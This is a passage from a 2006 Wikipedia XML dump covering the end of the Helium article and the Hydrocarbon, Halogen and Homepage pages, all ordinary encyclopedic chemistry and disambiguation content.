For many years the United States produced over 90% of commercially usable helium in the world. Extraction plants created in [[Canada]], [[Poland]], [[Russia]], and other nations produced the remaining helium. In the early [[2000s]], [[Algeria]] and [[Qatar]] were added as well. Algeria quickly became the second leading producer of helium (16% of total in 2002&lt;!-- ref: minerals.usgs.gov --&gt;). Through this time helium consumption has increased, as well as costs.

== Occurrence and production ==
===Abundance===
Helium is the second most abundant element in the known [[Universe]] after [[hydrogen]] and constitutes 23% of all elemental [[matter]] measured by [[mass]] ('elemental matter' does not include [[dark matter]] or [[dark energy]], which together may account for 96% of the Universe&lt;!-- ref: ''Nature's Building Blocks'', page 175 --&gt;). It is concentrated in [[star]]s, where it is formed from hydrogen by the [[nuclear fusion]] of the [[proton-proton chain reaction]] and [[CNO cycle]]. This so-called 'hydrogen burning' process provides the energy stars need to shine. According to the [[Big Bang]] model of the early development of the Universe, the vast majority of helium was formed in the first three minutes after the Big Bang. Its widespread abundance is seen as part of the evidence that supports this [[theory]].

However, in the [[Earth's atmosphere]], the concentration of helium by volume is only 5.2 parts per million at [[sea level]] and up to 15 miles (24 km), largely because most helium in the Earth's atmosphere escapes into [[space]] due to its inertness and low mass.  There is a layer in the [[heterosphere]] (a part of the Earth's upper atmosphere) at 600 miles (about 1000 km) where helium is the dominant gas (although the total pressure is very low)&lt;!-- http://www.oma.be/BIRA-IASB/Public/Research/Thermo/Thermotxt.en.html --&gt;.  Helium is the 71st most abundant element in the [[Crust (geology)|Earth's crust]] where it is found in 8 parts per billion (10&lt;sup&gt;9&lt;/sup&gt;).  Helium only makes up 4 parts per trillion (10&lt;sup&gt;12&lt;/sup&gt;) in [[seawater]]&lt;!-- refs: ''The Elements'', page 95; ''Nature's Building Blocks'', pages 177-178; and ''The Encyclopedia of the Chemical Elements'', page 257 --&gt;.

Essentially all helium on Earth is a result of [[radioactive decay]] of elements such as [[uranium]] and [[radon]]. A type of [[Alpha radiation|radiation]] called [[alpha particle]]s are made of two [[proton]]s and two [[neutron]]s, which also makes them helium-4 nuclei. These +2 positive [[ion]]s easily gain the two [[electron]]s needed to make complete helium atoms. In this way an estimated 0.5 ft³ of helium is produced from every cubic mile of the Earth's crust (3.4 L/km&lt;sup&gt;3&lt;/sup&gt;) per year &lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 257 --&gt;. This [[decay product]] is found in minerals of [[uranium]] and [[thorium]], including [[cleveite]]s, [[uraninite|pitchblende]], [[carnotite]], [[monazite]] and [[beryl]]. There are also small amounts in mineral [[spring (water)|springs]], [[volcano| volcanic]] gas and meteoric [[iron]].

===Production===
Helium in the crust is produced by the radioactive decay of [[uranium]] and [[thorium]] which are present in varying concentrations throughout the crust&lt;!--http://www.mantleplumes.org/HeliumFundamentals.html--&gt;, but helium migrates and can collect in certain areas when conditions are right. Thus the greatest concentrations (trace amounts up to 7% by volume) of helium on the planet are in [[natural gas]] fields, from which most commercial helium is derived. As of 2002, over 100 million m³ (3.5 billion ft³) were produced annually with 80% of production from the [[United States]], 16% from [[Algeria]], and most of the rest from [[Russia]]&lt;!-- ref: minerals.usgs.gov --&gt;. The principal source for U.S. production is the natural gas wells of the [[U.S. state]]s of [[Texas]], [[Oklahoma]], [[Arizona]] and [[Kansas]]. Helium is also produced in [[Canada]], [[Poland]], the [[People's Republic of China]], and [[Qatar]].

Since helium has a lower boiling point than any other element, low temperature and high pressure are used to liquefy nearly all the other gases (mostly [[nitrogen]] and  [[hydrocarbon]]s such as [[methane]]) from natural gas in order to extract gaseous helium (the general process is called [[fractional distillation]]). The resulting crude helium gas is subjected to a process of purification in which almost all of the remaining nitrogen and other gases are precipitated out of the mixture through successive exposures to lowering temperatures. [[Activated charcoal]] is used as a final purification step, usually resulting in 99.995% pure Grade A helium&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 258 --&gt;. The principal impurity in Grade A helium is [[neon]].

Diffusion of crude natural gas through special semi-[[permeability|permeable]] membranes and other barriers is another method to recover and/or purify helium. Helium can also be synthesized by bombardment of [[lithium]]-6 or [[boron]] with high-velocity [[neutron]]s in a [[nuclear reactor]] to produce He-4 and [[tritium]]. The tritium decays with a [[half life]] of 12.5 years to produce He-3. This method of production, however, is not economically viable&amp;mdash;at least for making normal commercial-grade helium. Fusion in exploding [[hydrogen bomb]]s creates helium as well.

== Isotopes ==
Although there are eight known [[isotope]]s of helium, only [[helium-3]] and [[helium-4]] are [[stable isotope| stable]].  In the Earth's atmosphere, there is one He-3 atom for every million He-4&lt;!-- ref: ''Nature's Building Blocks'', page 178 --&gt;.  However, helium is unusual in that its isotopic abundance varies greatly depending on its origin. In the [[interstellar medium]], the proportion of He-3 is around a hundred times  higher&lt;!-- http://www.ingentaconnect.com/content/klu/asys/2002/00000045/00000002/00378626 --&gt;.  Rocks from the Earth's crust have isotope ratios varying by as much as a factor of ten; this is used in [[geology]] to study the origin of such rocks.  

The most common isotope, helium-4, is produced on Earth by [[alpha decay]] of heavier radioactive elements; the [[alpha particle]]s that emerge are fully ionized helium-4 nuclei. Helium-4 is an unusually stable nucleus because its [[nucleon]]s are arranged into [[shell model|complete shells]].  It was also formed in enormous quantities during [[Big Bang nucleosynthesis]], and its abundance serves as a test of cosmological models.

Equal mixtures of liquid helium-3 and helium-4 below 0.8 K will separate into two immiscible phases due to their dissimilarity (they follow different [[quantum statistics]]: helium-4 atoms are [[boson]]s while helium-3 atoms are [[fermion]]s).&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 264 --&gt;[[Dilution refrigerator]]s take advantage of the immiscibility of these two isotopes to achieve temperatures of a few mK. There is only a trace amount of helium-3 on Earth, primarily present since the formation of the Earth, although some falls to Earth trapped in cosmic dust&lt;!--http://www.mantleplumes.org/HeliumFundamentals.html--&gt;.  Trace amounts are also produced by the [[beta decay]] of [[tritium]]&lt;!--http://environmentalchemistry.com/yogi/periodic/Li-pg2.html--&gt;.  In [[star]]s, however, helium-3 is more abundant, a product of [[nuclear fusion]]. Extraplanetary material, such as [[Moon| lunar]] and [[asteroid]] [[regolith]], have trace amounts of helium-3 from being bombarded by [[solar wind]]s.

The different formation processes of the two stable isotopes of helium produce the differing isotope abundances.  These differing isotope abundances can be used to investigate the origin of rocks and the composition of the Earth's [[mantle]]&lt;!--http://www.mantleplumes.org/HeliumFundamentals.html--&gt;.

It is possible to produce [[exotic helium isotopes]], which rapidly decay into other substances. The shortest-lived isotope is helium-5 with a [[half-life]] of 7.6×10&lt;sup&gt;&amp;minus;22&lt;/sup&gt; second. Helium-6 decays by emitting a [[beta particle]] and has a half life of 0.8 second. Helium-7 also emits a beta particle as well as a [[gamma ray]]. Helium-7 and helium-8 are hyperfragments that are created in certain [[nuclear reaction]]s&lt;!-- ref: ''The Encyclopedia of the Chemical Elements'', page 260 --&gt;.

==Precautions==
The voice of a person who has inhaled helium temporarily sounds high-pitched, resembling those of the [[cartoon]] characters ''[[Alvin and the Chipmunks]]'' (although their voices were produced by shifting the pitch of normal voices). This is because the [[speed of sound]] in helium is nearly three times that in air. As a result, when helium is inhaled there is a corresponding increase in the [[resonant frequency| resonant frequencies]] of the [[vocal tract]]&lt;!-- ref: ''Nature's Building Blocks'', page 177 --&gt;. The higher perceived pitch is only due to a different frequency shaping of the voice, the [[fundamental frequency]] of the [[vocal cords]] remains more or less the same&lt;!--http://www.phys.unsw.edu.au/PHYSICS_!/SPEECH_HELIUM/speech.html--&gt;.

Although the vocal effect of inhaling helium may be amusing, it can be dangerous if done to excess. The reason is not due to toxicity or any property of helium but simply due to it displacing [[oxygen]] needed for normal [[respiration (physiology)|respiration]].  One must be aware that in [[mammals]] (with the notable exception of [[Pinniped|seal]]s) the breathing reflex is not triggered by insufficient oxygen but rather excess of [[carbon dioxide]]. [[Unconsciousness]], [[brain damage]] and even [[asphyxiation]] followed by [[death]] may result in extreme cases. Also, if helium is inhaled directly from pressurized cylinders the high flow rate can fatally rupture [[lung]] tissue.

Neutral helium at standard conditions is non-toxic, plays no biological role and is found in trace amounts in [[human]] [[blood]]. At high pressures, a mixture of helium and oxygen ([[heliox]]) can lead to [[high pressure nervous syndrome]]; a small proportion of nitrogen can alleviate the problem&lt;!--http://www.scuba-doc.com/HPNS.html--&gt;.

Containers of helium gas at 5 to 10 K should be treated as if they have liquid inside&lt;!-- ref: LANL.gov --&gt;. This is due to the rapid and large increases in [[pressure]] and, if allowed, [[volume]] that occur when helium gas at that temperature is warmed to [[room temperature]].

[[Sulfur hexafluoride]] has the opposite effect on the speed of sound as helium. It slows down the speed of sound to about one third of the speed of sound in air. It is also non-toxic, like helium.

==References==
;Prose
&lt;small&gt;Specific references are indicated by comments in the article source&lt;/small&gt;
*''The Encyclopedia of the Chemical Elements'', edited by Cifford A. Hampel, &quot;Helium&quot; entry by L. W. Brandt (New York; Reinhold Book Corporation; 1968; pages 256-267) Library of Congress Catalog Card Number: 68-29938
*Nature's Building Blocks: An A-Z Guide to the Elements'', by John Emsley (New York; Oxford University Press; 2001; pages 175-179) ISBN 0-19-850340-7
*Los Alamos National Laboratory (LANL.gov): Periodic Table, &quot;[http://periodic.lanl.gov/elements/2.html Helium]&quot; (viewed [[10 October]] [[2002]] and [[25 March]] [[2005]])
*''Guide to the Elements: Revised Edition'', by Albert Stwertka (New York; Oxford University Press; 1998; pages 22-24) ISBN 0-19-512708-0
*''The Elements: Third Edition'', by John Emsley (New York; Oxford University Press; 1998; pages 94-95) ISBN 0-19-855818-X
*United States Geological Survey (usgs.gov): [http://minerals.usgs.gov/minerals/pubs/commodity/helium/heliumcs04.pdf Mineral Information for Helium] (PDF) (viewed [[31 March]] [[2005]])
*''[http://www.oma.be/BIRA-IASB/Public/Research/Thermo/Thermotxt.en.html The thermosphere: a part of the heterosphere]'', by J. Vercheval (viewed [[1 April]] [[2005]])
*''Isotopic Composition and Abundance of Interstellar Neutral Helium Based on Direct Measurements'',  Zastenker G.N. ''et al.'', [http://www.ingentaconnect.com/content/klu/asys/2002/00000045/00000002/00378626], published in [http://www.ingentaconnect.com/content/klu/asys Astrophysics], April 2002, vol. 45, no. 2, pp. 131-142(12)
*''[http://www3.interscience.wiley.com/cgi-bin/abstract/105558571/ABSTRACT Dynamic and thermodynamic properties of solid helium in the reduced all-neighbours approximation of the self-consistent phonon theory]'', C. Malinowska-Adamska, P. Sŀoma, J. Tomaszewski, physica status solidi (b), Volume 240, Issue 1 , Pages 55 - 67; Published Online: [[19 September]] [[2003]]
*''[http://www.yutopian.com/Yuan/TFM.html The Two Fluid Model of Superfluid Helium]'', S. Yuan, (viewed [[4 April]] [[2005]])
*''Rollin Film Rates in Liquid Helium'', Henry A. Fairbank and C. T. Lane, Phys. Rev. 76, 1209&amp;ndash;1211 (1949), [http://prola.aps.org/abstract/PR/v76/i8/p1209_1 from the online archive]
*''[http://cryowwwebber.gsfc.nasa.gov/introduction/liquid_helium.html Introduction to Liquid Helium]'', at the NASA Goddard Space Flight Center (viewed [[4 April]] [[2005]])
* ''[http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1983ApOpt..22...10E&amp;amp;db_key=AST Tests of vacuum VS helium in a solar telescope]'', Engvold, O.; Dunn, R. B.; Smartt, R. N.; Livingston, W. C.. Applied Optics, vol. 22, [[1 January]] [[1983]], p. 10-12.
* {{cite book | author = Bureau of Mines | title = Minerals yearbook mineral fuels Year 1965, Volume II (1967) | publisher = U. S. Government Printing Office | year = 1967 }}
*''[http://www.mantleplumes.org/HeliumFundamentals.html Helium: Fundamental models]'', Don L. Anderson, G. R. Foulger &amp; Anders Meibom (viewed [[5 April]] [[2005]])
*''[http://www.scuba-doc.com/HPNS.html High Pressure Nervous Syndrome]'', Diving Medicine Online (viewed [[5 April]] [[2005]])

;Table
* ''[http://chartofthenuclides.com/default.html Nuclides and Isotopes] Fourteenth Edition: Chart of the Nuclides'', General Electric Company, 1989
*WebElements.com and EnvironmentalChemistry.com per the guidelines at [http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Elements Wikipedia's WikiProject Elements] (viewed [[10 October]] [[2002]])

== External links ==
{{Commons|Helium}}
;General
* [http://www.webelements.com/webelements/elements/text/He/key.html WebElements: Helium]
* [http://education.jlab.org/itselemental/ele002.html It's Elemental &amp;ndash; Helium]
* [http://theodoregray.com/PeriodicTable/Elements/002/ Photos and applications of Helium]
* [http://www.fluidmech.net/msc/super/super-f.htm Fluidmech.net] about liquid Helium-II and low temperature phase diagram

;More detail
* [http://boojum.hut.fi/research/theory/helium.html Helium] at the [[Helsinki University of Technology]]; includes pressure-temperature phase diagrams for helium-3 and helium-4.

;Miscellaneous
* [http://www.cganet.com/N2O/helium_safety.asp Helium Safety] regarding inhalation
* [http://www.phys.unsw.edu.au/PHYSICS_!/SPEECH_HELIUM/speech.html Physics in Speech] with audio samples that demonstrate the unchanged voice pitch
* [http://www.du.edu/~jcalvert/phys/helium.htm Article about Helium and other noble gases]
* [http://www.fluidmech.net/msc/super/super-f.htm this article contains phase diagram for helium]

[[Category:Chemical elements]]
[[Category:Noble gases]]
[[Category:Coolants]]

{{Link FA|de}}

[[af:Helium]]
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    </revision>
  </page>
  <page>
    <title>Hydrocarbon</title>
    <id>13257</id>
    <revision>
      <id>42037865</id>
      <timestamp>2006-03-03T10:48:08Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">[[Image:ShellMartinez-refi.jpg|thumb|right|340px|Hydrocarbons are refined at oil refineries and chemical plants]]
In chemistry, a '''hydrocarbon''' is any [[chemical compound]] that consists only of the elements '''[[carbon]]''' (C) and '''[[hydrogen]]''' (H). They all contain a carbon backbone, called a carbon skeleton, and have hydrogen atoms attached to that backbone.  (Often the term is used as a shortened form of the term [[aliphatic]] hydrocarbon.)

== Examples ==
[[Image:Kalottenmodell_Benzol.png|thumb|right|180px|A model of an arene called [[Benzene]]]]The simplest hydrocarbon is [[methane]] ([[natural gas|swamp/marsh gas]]), a hydrocarbon with one carbon atom and four hydrogen atoms: CH&lt;sub&gt;4&lt;/sub&gt;. [[Ethane]] is a hydrocarbon (more specifically, an alkane) consisting of two carbon atoms held together with a single bond, each with three hydrogen atoms bonded: C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;. [[Propane]] has three carbon atoms (C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;) and [[butane]] has four carbons (C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;).

== Three types of hydrocarbons ==
[[Image:Kalottenmodell_Hexan.png|thumb|right|180px|A model of the alkane known as [[Hexane]]]]There are essentially three types of hydrocarbons: 
#[[aromatic hydrocarbon]]s, which have at least one [[aromatic ring]] 
#[[saturated hydrocarbon]]s, also known as [[alkane]]s, which don't have any double, triple or aromatic bonds 
#[[unsaturated hydrocarbon]]s, which have one or more double or triple bonds between carbon atoms, are divided into:
#*[[alkene]]s
#*[[alkyne]]s
[[Image:Kalottenmodell_Ethin.png|thumb|right|180px|A model of the alkyne called [[Ethyne]]]]

== The number of hydrogen atoms ==
The number of hydrogen atoms in hydrocarbons can be determined, if the number of carbon atoms is known, by using these following equations:
*Alkanes: C&lt;sub&gt;''n''&lt;/sub&gt;H&lt;sub&gt;''2n+2''&lt;/sub&gt;
*Alkenes: C&lt;sub&gt;''n''&lt;/sub&gt;H&lt;sub&gt;''2n''&lt;/sub&gt; (assuming only one double bond)
*Alkynes: C&lt;sub&gt;''n''&lt;/sub&gt;H&lt;sub&gt;''2n-2''&lt;/sub&gt; (assuming only one triple bond)
Each of these hydrocarbons must follow the 4-hydrogen rule which states that all carbon atoms must have the maximum number of hydrogen atoms that it can hold (the limit is four). Note, an extra bond removes 2 hydrogen atoms and only saturated hydrocarbons can attain the full four. This is because of the unique positions of the carbon's four electrons.

== Molecular graph==
Usually carbon backbone is represented as molecular [[graph theory|graph]] in which only carbon atoms are represented as [[vertex|vertices]] and bonds as [[edge|edges]]. [[Molecular graph]]s contain the structure of the hydrocarbon in which missing hydrogen atoms can be added in a unique way.  Hydrocarbons are extensively studied in [[mathematical chemistry]].

== Petroleum ==
Liquid geologically-extracted hydrocarbons are referred to as [[petroleum]] (literally &quot;rock oil&quot;) or [[mineral oil]], while gaseous geologic hydrocarbons are referred to as [[natural gas]]. All are significant sources of [[fuel]] and raw materials as a [[feedstock]] for the production of [[organic chemistry|organic chemicals]] and are commonly found in the Earth´s subsurface using the tools of [[petroleum geology]].

[[Oil reserves]] in sedimentary rocks are the principal source of hydrocarbons for the energy, [[transport]] and chemicals industries.  The extraction of liquid hydrocarbon [[fuel]] from a number of [[sedimentary basin]]s has been integral to modern [[energy development]].

Hydrocarbons are of prime economic importance because they encompass the constituents of the major [[fossil fuel]]s ([[coal]], [[petroleum]], [[natural gas]], etc.) and [[biofuel]]s, as well as [[plastic]]s, [[wax]]es, [[solvent|solvents]] and [[Mineral oil|oil]]s. In urban [[pollution]], these components--along with NOx and [[sunlight]]--all contribute to the formation of [[tropospheric ozone]].

== [[Flue gas emissions from fossil fuel combustion|Burning Hydrocarbons]] ==

Hydrocarbons are one of [[Earth]]'s most important natural resources.  Hydrocarbons are currently the main source of the world’s electric energy and heat sources (such as home heating) because of the energy produced when burnt. Hydrocarbons are all substances with low [[entropy]] (meaning they hold a lot of energy potential), which can be released and harnessed by burning them. Often this energy is used directly as heat such as in home heaters, which use either oil or natural gas. The hydrocarbon is burnt and the heat is used to heat water, which is then circulated in pipes around the building heating every room. A similar principle is used to create electric energy in [[power plants]]. Hydrocarbons (usually [[coal]]) are burnt and the energy released in this way is used to turn water in to [[steam]], which is used to turn a [[turbine]] that generates energy much like a [[windmill]] does.

In an ideal reaction the waste would be only water and carbon dioxide but because the coal is not pure or clean there are often many toxic byproducts such as [[Mercury_(element)|mercury]] and [[arsenic]]. Also, incomplete [[combustion]] causes the production of carbon-monoxide which is toxic because it will bind with [[hemoglobin]] more readily than oxygen, so if it is breathed in oxygen can not be absorbed, causing suffocation. Also, incomplete [[combustion]] has a biproduct of [[carbon]] in the form of soot.

Coal reserves will last for decades and possibly beyond [[2100]]. Mostly in response to [[climate change|climate concerns]], [[clean coal]] [[technology]] is currently under [[development]]. For example, the [[UK]] and [[China]] have signed an [[agreement]] to develop such technology with carbon dioxide emissions capture and storage in both China and the [[EU]] by [[2020]]. Similar research is being conducted in the [[United States|U.S.]] and other countries.

{{commons|Gallery Hydrocarbons}}

== External links ==
*[http://www.worldofmolecules.com/fuels/methane.htm The Methane Molecule]
*[http://www.gasresources.net/DisposalBioClaims.htm Dismissal of the Claims of a Biological Connection for Natural Petroleum.]
*[http://www.gasresources.net/Introduction.htm An introduction to the modern petroleum science, and to the Russian-Ukrainian theory of deep, abiotic petroleum origins.]
*[http://www.aapg.org/explorer/2002/11nov/abiogenic.cfm Abiogenic Gas Debate 11:2002 (EXPLORER)]

== See also ==

*[[Abiogenic petroleum origin]]
*[[Energy storage]]
*[[Petroleum geology]]
*[[Oil well]]
*[[Fractional distillation]]
*[[Flue gas emissions from fossil fuel combustion]]

[[Category:Hydrocarbons|*]]
[[Category:Fossil fuels]]
[[Category:Soil contamination]]

[[ar:هيدروكربون]]
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    </revision>
  </page>
  <page>
    <title>Halogen</title>
    <id>13258</id>
    <revision>
      <id>42050389</id>
      <timestamp>2006-03-03T13:27:11Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.251.44.130|209.251.44.130]] ([[User talk:209.251.44.130|talk]]) to last version by Geoking66</comment>
      <text xml:space="preserve">:''This article discusses the group of [[chemical element]]s in the [[periodic table]]:for the light bulb, see [[Halogen_lamp#The_halogen_lamp|the halogen lamp]].''

{| align=&quot;right&quot; style=&quot;margin:0 0 1em 1em;&quot;
! [[Periodic table group|Group]]
! [[Group 17 element|17]]
|-
! [[Periodic table period|Period]]
|-
! [[Period 2 element|2]]
| {{element cell| 9|Fluorine|F| |Gas|Halogens|Primordial}}
|-
! [[Period 3 element|3]]
| {{element cell|17|Chlorine|Cl| |Gas|Halogens|Primordial}}
|-
! [[Period 4 element|4]]
| {{element cell|35|Bromine|Br| |Liquid|Halogens|Primordial}}
|-
! [[Period 5 element|5]]
| {{element cell|53|Iodine|I| |Solid|Halogens|Primordial}}
|-
! [[Period 6 element|6]]
| {{element cell|85|Astatine|At| |Solid|Halogens|Natural radio}}
|-
! [[Period 7 element|7]]
| {{element cell|117|ununseptium|Uus| |Solid|Halogens|Undiscovered|ununseptium|#fcfece}}
|}

The '''halogens''' are a [[chemical series]]. They are the [[chemical element|elements]] in [[Periodic table group|Group 17]] (old-style: VII or VIIA) of the [[periodic table]]: [[fluorine]] ('''F'''), [[chlorine]] ('''Cl'''), [[bromine]] ('''Br'''), [[iodine]] ('''I'''), [[astatine]] ('''At''') and the as yet undiscovered [[ununseptium]] ('''Uus''').  The term halogen was coined to mean elements which produce [[salt]] in union with a [[metal]]. It comes from [[18th century]] scientific [[France|French]] nomenclature based on erring adaptations of [[Greek language|Greek]] roots. 

These elements are [[diatomic]] [[molecule]]s in their natural form. They require one more [[electron]] to fill their outer [[electron shell|electron shells]], and so have a tendency to form a singly-charged [[Electric charge|negative]] [[ion]]. This negative ion is referred to as a ''halide'' ion; [[salt|salts]] containing these ions are known as [[halide|halides]].

Halogens are highly [[reactivity|reactive]], and as such can be harmful or lethal to [[biological]] [[organisms]] in sufficient quantities. Chlorine and iodine are both used as [[disinfectants]] for such things as [[drinking water]], swimming pools, fresh wounds, dishes, and surfaces. They kill [[bacteria]] and other potentially harmful [[microorganisms]], a process known as [[Sterilization_%28microbiology%29|sterilization]]. Their [[Reaction (physics)|reactive]] properties are also put to use in [[Bleaching agent|bleaching]]. Chlorine is the active ingredient of most [[Cloth|fabric]] bleaches and is used in the production of most [[paper]] products.

Halide ions combined with single [[hydrogen]] [[atoms]] form the [[hydrohalic acid|''hydrohalic'' acid]]s (i.e., HF, HCl, HBr, HI), a series of particularly strong [[Acid|acids]]. (HAt, or &quot;hydrastatic acid&quot;, should also qualify, but it is not typically included in discussions of hydrohalic acid due to astatine's extreme instability toward [[alpha decay]].)

They react with each other to form [[interhalogen]] [[Chemical compound|compounds]]. Diatomic interhalogen compounds (BrF, ICl, ClF, etc.) bear strong superficial resemblance to the pure halogens.

Many synthetic [[organic compounds]] such as [[plastic]] [[polymers]], and a few natural ones, contain halogen atoms; these are known as ''halogenated'' compounds or [[organic halide]]s. Chlorine is by far the most abundant of the halogens, and the only one needed in relatively large amounts (as chloride ions) by humans. For example, chloride ions play a key role in [[brain]] function by mediating the action of the inhibitory transmitter [[GABA]] and are also used by the body to produce stomach acid. Iodine is needed in trace amounts for the production of [[thyroid]] hormones such as [[thyroxine]]. On the other hand, neither fluorine nor bromine are believed to be really essential for humans, although small amounts of fluoride can make tooth enamel resistant to decay.

They show a number of trends when moving down the group - for instance, decreasing electronegativity and reactivity, increasing melting and boiling point.

&lt;table border=0 cellpadding=2 cellspacing=0 width=&quot;100%&quot;&gt;
 &lt;tr&gt;
  &lt;td bgcolor=&quot;#CCCCFF&quot;&gt;&lt;b&gt;Halogen&lt;/b&gt;&lt;/td&gt;
  &lt;td bgcolor=&quot;#CCCCFF&quot; align=&quot;center&quot;&gt;'''Atomic Mass ([[unified atomic mass unit|u]])'''&lt;/td&gt;
  &lt;td bgcolor=&quot;#CCCCFF&quot; align=&quot;center&quot;&gt;'''Melting Point ([[kelvin|K]])'''&lt;/td&gt;
  &lt;td bgcolor=&quot;#CCCCFF&quot; align=&quot;center&quot;&gt;'''Boiling Point ([[kelvin|K]])'''&lt;/td&gt;
  &lt;td bgcolor=&quot;#CCCCFF&quot; align=&quot;center&quot;&gt;'''Electronegativity ([[Pauling scale|Pauling]])'''&lt;/td&gt;
 &lt;/tr&gt;

 &lt;tr&gt;
  &lt;td&gt;Fluorine&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;18.998&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;53.53&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;85.03&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;3.98&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot;&gt;Chlorine&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;35.453&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;171.6&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;239.11&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;3.16&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;Bromine&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;79.904&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;265.8&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;332.0&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;2.96&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot;&gt;Iodine&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;126.904&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;386.85&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;457.4&lt;/td&gt;
  &lt;td bgcolor=&quot;#EEEEEE&quot; align=&quot;center&quot;&gt;2.66&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;Astatine&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;(210)&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;575&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;610 ?&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;2.2&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
  &lt;td&gt;Ununseptium&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;(291)*&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;*&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;*&lt;/td&gt;
  &lt;td align=&quot;center&quot;&gt;*&lt;/td&gt;
 &lt;/tr&gt;
&lt;/table&gt;
&lt;nowiki&gt;*&lt;/nowiki&gt; Ununseptium has not yet been discovered; values are either unknown if no value appears, or are estimates based on other similar chemicals.


{|style=&quot;text-align: center;&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; 
|+ '''Explanation of above periodic table slice:'''
! bgcolor=&quot;{{element color/Halogens}}&quot; | [[Halogen]]s
| atomic number in &lt;font color=&quot;{{element color/Gas}}&quot;&gt;{{element color/Gas}}&lt;/font&gt; are gases
| atomic number in &lt;font color=&quot;{{element color/Liquid}}&quot;&gt;{{element color/Liquid}}&lt;/font&gt; are liquids
| atomic number in &lt;font color=&quot;{{element color/Solid}}&quot;&gt;{{element color/Solid}}&lt;/font&gt; are solids
|-
| style=&quot;border:{{element frame/Primordial}};&quot; | solid borders are [[primordial element]]s (older than the [[Earth]])
| style=&quot;border:{{element frame/Natural radio}};&quot; | dashed borders are naturally [[radioactive decay|radioactive element]]s
| style=&quot;border:{{element frame/Synthetic}};&quot; | dotted borders are [[radioactive decay|radioactive]], [[synthetic element]]s
| style=&quot;border:{{element frame/Undiscovered}};&quot; | those without borders have not been discovered yet
|}


{{PeriodicTablesFooter}}

==See also==
*[[pseudohalogen]] 

[[Category:Halogens|*]]
[[Category:Periodic table]]

[[ar:هالوجين]]
[[bg:Халоген]]
[[ca:Halogen]]
[[cs:Halogen]]
[[da:Halogen]]
[[de:Halogene]]
[[es:Halógeno]]
[[eo:Halogeno]]
[[fa:هالوژن]]
[[fr:Halogène]]
[[ko:할로젠]]
[[is:Halógen]]
[[it:Alogeni]]
[[he:הלוגן]]
[[lv:Halogēni]]
[[lt:Halogenas]]
[[ms:Halogen]]
[[nl:Halogeen]]
[[ja:第17族元素]]
[[no:Halogen]]
[[nn:Halogen]]
[[pl:Fluorowce]]
[[pt:Halogênio]]
[[ru:Галогены]]
[[sr:Халогени елементи]]
[[sv:Halogen]]
[[th:แฮโลเจน]]
[[vi:Halôgen]]
[[tr:Halojen]]
[[zh:卤素]]</text>
    </revision>
  </page>
  <page>
    <title>Homepage</title>
    <id>13259</id>
    <revision>
      <id>39995192</id>
      <timestamp>2006-02-17T10:23:38Z</timestamp>
      <contributor>
        <username>Reisio</username>
        <id>200193</id>
      </contributor>
      <comment>rv poor link by [[User:85.65.20.188|85.65.20.188]]</comment>
      <text xml:space="preserve">'''''Homepage''''' or '''Home''' may refer to:
* The [[Home page|start page]] or main [[web page]] of a [[website]]
* The [[website]] of a group or individual
* The page that is displayed when you enter only a [[domain name]] as [[URL]] (e.g. &lt;nowiki&gt;http://&lt;/nowiki&gt;[[domain name|domain]].[[top-level domain|tld]])
* The [[URL]] or local file that is automatically loaded when a [[web browser]] starts

== See also ==
* [[Main Page]]
* [[Vanity site]]
* [[index.html]]

{{disambig}}

[[Category:World Wide Web]]

[[da:Hjemmeside]]
[[de:Homepage]]
[[ia:pagina initial]]
[[nl:Homepage]]
[[ja:ホームページ]]
[[lv:Mājas lapa]]
[[ru:Домашняя страница]]
[[simple:Home page]]
[[sv:Hemsida]]
[[th:โฮมเพจ]]
[[zh:主页]]</text>
    </revision>
  </page>
  <page>
    <title>Hee Haw</title>
    <id>13260</id>
    <revision>
